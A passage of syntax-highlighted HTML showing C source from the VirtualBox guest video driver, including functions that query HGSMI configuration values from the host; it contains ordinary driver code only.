class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-878\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Report the host heap location. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-879\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vboxHGSMIReportHostArea<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">offVRAMHostArea<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbHostArea<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-880\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertRC<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-881\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-882\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;VBoxVideo::vboxSetupAdapterInfo finished rc = %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-883\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-884\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-885\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-886\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-887\"><span class=\"crayon-c\">\/** Sanity test on first call.&nbsp;&nbsp;We do not worry about concurrency issues. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-888\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">testQueryConf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-889\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-890\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">bool<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cOnce<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-891\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">ulValue<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-892\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-893\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-894\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cOnce<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-895\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VINF_SUCCESS<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-896\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cOnce<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-897\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxQueryConfHGSMI<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">UINT32_MAX<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ulValue<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-898\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_SUCCESS<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ulValue<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">UINT32_MAX<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-899\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VINF_SUCCESS<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-900\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cOnce<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-901\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_FAILURE<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-902\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-903\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_INTERNAL_ERROR<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-904\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-905\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-906\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-907\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-908\"><span class=\"crayon-c\"> * Query the host for an HGSMI configuration parameter via an HGSMI command.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-909\"><span class=\"crayon-c\"> * @returns iprt status value<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-910\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pCtx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;the context containing the heap used<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-911\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;u32Index&nbsp;&nbsp;the index of the parameter to query,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-912\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; @see VBVACONF32::u32Index<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-913\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;u32DefValue defaut value<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-914\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pulValue&nbsp;&nbsp;where to store the value of the parameter on success<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-915\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-916\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxQueryConfHGSMIDef<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-917\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">u32Index<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">u32DefValue<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">uint32_t *<\/span><span class=\"crayon-v\">pulValue<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-918\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-919\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VINF_SUCCESS<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-920\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBVACONF32 *<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-921\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">LogFunc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;u32Index = %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">u32Index<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-922\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-923\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">testQueryConf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-924\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_FAILURE<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-925\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-926\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Allocate the IO buffer. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-927\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">VBVACONF32 *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-e\">VBoxHGSMIBufferAlloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-928\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBVACONF32<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HGSMI_CH_VBVA<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-929\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">VBVA_QUERY_CONF32<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-930\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-931\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-932\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Prepare data to be sent to the host. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-933\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">u32Index<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">u32Index<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-934\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">u32Value<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">u32DefValue<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-935\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferSubmit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-936\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_SUCCESS<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-937\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-938\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pulValue<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">u32Value<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-939\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">LogFunc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;u32Value = %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">u32Value<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-940\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-941\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Free the IO buffer. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-942\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxHGSMIBufferFree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-943\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-944\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-945\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_NO_MEMORY<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-946\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">LogFunc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;rc = %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-947\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-948\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-949\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-950\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxQueryConfHGSMI<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-951\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">u32Index<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">uint32_t *<\/span><span class=\"crayon-v\">pulValue<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-952\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-953\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxQueryConfHGSMIDef<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">u32Index<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">UINT32_MAX<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pulValue<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" 